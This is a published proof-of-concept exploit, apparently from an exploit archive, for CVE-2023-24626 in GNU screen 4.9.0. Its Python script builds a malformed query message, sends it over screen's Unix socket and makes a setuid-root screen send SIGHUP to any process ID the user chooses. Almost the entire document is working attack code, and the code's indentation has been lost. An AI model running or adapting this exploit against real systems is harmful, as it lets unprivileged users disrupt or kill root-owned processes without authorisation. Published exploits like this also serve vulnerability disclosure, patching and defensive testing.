GNU screen 4.9.0 Privilege Escalation

`# Exploit Title: GNU screen v4.9.0 - Privilege Escalation  
# Date: 03.02.2023  
# Exploit Author: Manuel Andreas  
# Vendor Homepage: https://www.gnu.org/software/screen/  
# Software Link: https://ftp.gnu.org/gnu/screen/screen-4.9.0.tar.gz  
# Version: 4.9.0  
# Tested on: Arch Linux  
# CVE : CVE-2023-24626  
  
import os  
import socket  
import struct  
import argparse  
import subprocess  
import pty  
import time  
  
SOCKDIR_TEMPLATE = "/run/screens/S-{}"  
MAXPATHLEN = 4096  
MAXTERMLEN = 32  
MAXLOGINLEN = 256  
STRUCTSIZE = 12584  
MSG_QUERY = 9  
  
def find_latest_socket(dir):  
return f"{dir}/{sorted(os.listdir(dir))[-1]}"  
  
  
def build_magic(ver=5):  
return ord('m') << 24 | ord('s') << 16 | ord('g') << 8 | ver  
  
  
def build_msg(type):  
return struct.pack("<ii", build_magic(), type) + MAXPATHLEN * b"T"  
  
  
def build_query(auser, nargs, cmd, apid, preselect, writeback):  
assert(len(auser) == MAXLOGINLEN + 1)  
assert(len(cmd) == MAXPATHLEN)  
assert(len(preselect) == 20)  
assert(len(writeback) == MAXPATHLEN)  
  
buf = build_msg(MSG_QUERY)  
  
buf += auser  
buf += 3 * b"\x00" #Padding  
buf += struct.pack("<i", nargs)  
buf += cmd  
buf += struct.pack("<i", apid)  
buf += preselect  
buf += writeback  
  
# Union padding  
buf += (STRUCTSIZE - len(buf)) * b"P"  
  
return buf  
  
  
def spawn_screen_instance():  
# provide a pty  
mo, so = pty.openpty()  
me, se = pty.openpty()   
mi, si = pty.openpty()   
  
screen = subprocess.Popen("/usr/bin/screen", bufsize=0, stdin=si, stdout=so, stderr=se, close_fds=True, env={"TERM":"xterm"})  
  
for fd in [so, se, si]:  
os.close(fd)  
  
return screen  
  
  
def main():  
parser = argparse.ArgumentParser(description='PoC for sending SIGHUP as root utilizing GNU screen configured as setuid root.')  
parser.add_argument('pid', type=int, help='the pid to receive the signal')  
  
args = parser.parse_args()  
  
pid = args.pid  
username = os.getlogin()  
  
screen = spawn_screen_instance()  
  
print("Waiting a second for screen to setup its socket..")  
time.sleep(1)  
  
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)  
socket_path = find_latest_socket(SOCKDIR_TEMPLATE.format(username))  
  
print(f"Connecting to: {socket_path}")  
s.connect(socket_path)  
  
print('Sending message...')  
msg = build_query(username.encode('ascii') + (MAXLOGINLEN + 1 - len(username)) * b"\x00", 0, MAXPATHLEN * b"E", pid, 20 * b"\x00", MAXPATHLEN * b"D")  
s.sendmsg([msg])  
  
s.recv(512)  
  
print(f'Ok sent SIGHUP to {pid}!')  
  
screen.kill()  
  
  
if __name__ == '__main__':  
main()  
  
  
`